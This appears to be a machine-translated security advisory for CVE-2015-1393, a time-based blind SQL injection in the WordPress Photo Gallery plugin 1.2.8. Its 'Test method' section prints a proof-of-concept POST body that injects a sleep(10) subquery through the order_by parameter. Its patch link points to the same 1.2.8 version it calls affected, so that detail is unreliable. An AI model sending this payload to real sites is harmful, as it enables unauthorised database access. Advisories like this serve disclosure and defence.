WordPress Photo Gallery plug-in 'asc _ or_desc 'parameter SQL Injection Vulnerability

WordPress Photo Gallery plug-in 'asc _ or_desc 'parameter SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
WordPress Photo Gallery 1.2.8
Description:
Bugtraq id: 72364
CVE (CAN) ID: CVE-2015-1393

The Photo Gallery advanced plug-in allows you to create a website Image Library Based on WordPress needs.

Photo Gallery 1.2.8 and other versions do not effectively filter user requests. The asc_or_desc parameter in POST has time-based blind SQL injection. After successful exploitation, attackers can directly access the database.

<* Source: Sven Schleier
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Search_value = & amp; page_number = 1 & amp; search_or_not = & amp; task = add & amp; current_id = & amp; ids_string = & amp; asc_or_desc = asc & amp; order_by = asc % 2c (select % 20 * % 20 from % 20 (select (sleep (10 ))) a)

Suggestion:
Vendor patch:

WordPress
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Https://downloads.wordpress.org/plugin/photo-gallery.1.2.8.zip

This article permanently updates the link address: